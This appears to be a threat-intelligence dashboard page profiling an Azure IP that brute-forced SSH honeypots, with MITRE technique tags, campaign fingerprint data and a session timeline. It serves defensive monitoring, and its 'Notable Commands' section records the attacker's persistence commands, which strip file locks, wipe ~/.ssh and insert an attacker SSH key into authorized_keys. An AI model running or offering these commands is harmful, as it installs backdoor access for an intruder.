← Back to feed

135.220.48.17

TAGGED SUSPICIOUS how we decide →

Threat Confidence

60%

Location

🇩🇪 DE / Frankfurt am Main

ASN

AS8075 · Microsoft Corporation

Cloud Provider

Microsoft Azure

Total Events

592

Top 10% by volume

Agent Count

First / Last Seen

2026-09-06 19:21 — 2026-09-06 20:36

Attack Types

ssh:bruteforce

MITRE ATT&CK Techniques

Reconnaissance

T1595.002

Initial Access

T1078

Defense Evasion

T1070.004

Credential Access

T1110 T1110.001

Command and Control

T1105

External Corroboration

Blocklist.de

Reported 2026-09-06 16:00

blocklist_de:reported

Campaigns

HASSH f555226df196… — SSH-2.0-libssh_0.9.6 (458 IPs, 67 countries) HASSH Active high 🇺🇸 US

458 IPs 559665 events

ssh:bruteforce

2026-02-25 — ongoing · 458 IPs are running an identical SSH client (HASSH fingerprint f555226df196…). Top network: Microsoft Corporation (AS8075). Geographic and …

Session Forensics

malware_dropper ×19 credential_probe ×50 opportunistic_bruter ×19

Sessions

88 (38 with login)

Avg Depth Score

0.44

Commands Executed

Files Downloaded

Notable Commands

cd ~; chattr -ia .ssh; lockr -ia .ssh
lockr -ia .ssh
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~

Fingerprints

HASSH

f555226df1963d1d3c09daf865abdc9a

SSH Client

SSH-2.0-libssh_0.9.6

Evidence Timeline

Credential Probe 618f89102702 w4m_singapore_01 · 2026-09-06 20:36

1 20%

Loading events...

Credential Probe 8465404ab48c w4m_singapore_01 · 2026-09-06 20:34

1 20%

Loading events...

Malware Dropper b483456bb15f w4m_singapore_01 · 2026-09-06 20:33

3 1 1 100%

Loading events...

Opportunistic Bruter 44ffff1a53c4 w4m_singapore_01 · 2026-09-06 20:33

1 50%

Loading events...

Credential Probe cdcfa4ac83c6 w4m_singapore_01 · 2026-09-06 20:33

1 20%

Loading events...

Credential Probe 7e6581f31983 w4m_singapore_01 · 2026-09-06 20:31

1 20%

Loading events...

Credential Probe ad72ad56ec2a w4m_singapore_01 · 2026-09-06 20:30

1 20%

Loading events...

Opportunistic Bruter 6ea1126f20f2 w4m_singapore_01 · 2026-09-06 20:29

1 50%

Loading events...

Malware Dropper 4c9888f4ac29 w4m_singapore_01 · 2026-09-06 20:28

3 1 1 100%

Loading events...

Credential Probe ccd014d1e4e9 w4m_singapore_01 · 2026-09-06 20:28

1 20%

Loading events...

Credential Probe 7b8efcc3a71c w4m_singapore_01 · 2026-09-06 20:27

1 20%

Loading events...

Credential Probe 410e73692761 w4m_singapore_01 · 2026-09-06 20:26

1 20%

Loading events...

Credential Probe dd0c935b0179 w4m_singapore_01 · 2026-09-06 20:24

1 20%

Loading events...

Credential Probe f669543d75af w4m_singapore_01 · 2026-09-06 20:23

1 20%

Loading events...

Credential Probe a252f60175c0 w4m_singapore_01 · 2026-09-06 20:21

1 20%

Loading events...

Opportunistic Bruter 68a3b93bb6ec w4m_singapore_01 · 2026-09-06 20:20

1 50%

Loading events...

Malware Dropper f0b1a291f9ae w4m_singapore_01 · 2026-09-06 20:20

3 1 1 100%

Loading events...

Credential Probe f5e8605e1b26 w4m_singapore_01 · 2026-09-06 20:20

1 20%

Loading events...

Credential Probe 53fa8fc184d3 w4m_singapore_01 · 2026-09-06 20:18

1 20%

Loading events...

Credential Probe d84d7d39fe48 w4m_singapore_01 · 2026-09-06 20:17

1 20%

Loading events...

Credential Probe ded9bcca9811 w4m_singapore_01 · 2026-09-06 20:16

1 20%

Loading events...

Opportunistic Bruter b5acc197332e w4m_singapore_01 · 2026-09-06 20:14

1 50%

Loading events...

Malware Dropper 87b45174d356 w4m_singapore_01 · 2026-09-06 20:14

3 1 1 100%

Loading events...

Credential Probe 131e5fcd853d w4m_singapore_01 · 2026-09-06 20:14

1 20%

Loading events...

Opportunistic Bruter f1801d6e3a70 w4m_singapore_01 · 2026-09-06 20:13

1 50%

Loading events...

Malware Dropper c98344bc0b0a w4m_singapore_01 · 2026-09-06 20:13

3 1 1 100%

Loading events...

Credential Probe 893d062db478 w4m_singapore_01 · 2026-09-06 20:13

1 20%

Loading events...

Credential Probe 0003b19b41e2 w4m_singapore_01 · 2026-09-06 20:11

1 20%

Loading events...

Opportunistic Bruter e57a45c95cd1 w4m_singapore_01 · 2026-09-06 20:10

1 50%

Loading events...

Malware Dropper a5a04601754f w4m_singapore_01 · 2026-09-06 20:10

3 1 1 100%

Loading events...

Credential Probe 5a6e8b278f49 w4m_singapore_01 · 2026-09-06 20:10

1 20%

Loading events...

Opportunistic Bruter a11c1f4cfd13 w4m_singapore_01 · 2026-09-06 20:09

1 50%

Loading events...

Malware Dropper 27e037949e54 w4m_singapore_01 · 2026-09-06 20:09

3 1 1 100%

Loading events...

Credential Probe a4a2ec0b1424 w4m_singapore_01 · 2026-09-06 20:09

1 20%

Loading events...

Opportunistic Bruter a35eb03636c2 w4m_singapore_01 · 2026-09-06 20:07

1 50%

Loading events...

Malware Dropper 6d0be572e8f4 w4m_singapore_01 · 2026-09-06 20:07

3 1 1 100%

Loading events...

Credential Probe d32ecceea2ac w4m_singapore_01 · 2026-09-06 20:07

1 20%

Loading events...

Credential Probe 72e6bfeb8ef7 w4m_singapore_01 · 2026-09-06 20:06

1 20%

Loading events...

Credential Probe b1be6f3be1a8 w4m_singapore_01 · 2026-09-06 20:04

1 20%

Loading events...

Credential Probe 31186d276aa4 w4m_singapore_01 · 2026-09-06 20:03

1 20%

Loading events...

Credential Probe b9f5a057907c w4m_singapore_01 · 2026-09-06 20:01

1 20%

Loading events...

Malware Dropper bcb034ece845 w4m_singapore_01 · 2026-09-06 20:00

3 1 1 100%

Loading events...

Opportunistic Bruter 52a9fcdbc773 w4m_singapore_01 · 2026-09-06 20:00

1 50%

Loading events...

Credential Probe aef7e49a1276 w4m_singapore_01 · 2026-09-06 20:00

1 20%

Loading events...

Credential Probe 427d940da995 w4m_singapore_01 · 2026-09-06 19:58

1 20%

Loading events...

Opportunistic Bruter 25f1245c34b7 w4m_singapore_01 · 2026-09-06 19:57

1 50%

Loading events...

Malware Dropper a1065597d3fe w4m_singapore_01 · 2026-09-06 19:57

3 1 1 100%

Loading events...

Credential Probe 26cf90e3fd8b w4m_singapore_01 · 2026-09-06 19:57

1 20%

Loading events...

Credential Probe e1a136356b25 w4m_singapore_01 · 2026-09-06 19:56

1 20%

Loading events...

Credential Probe 26b2a03c4f01 w4m_singapore_01 · 2026-09-06 19:54

1 20%

Loading events...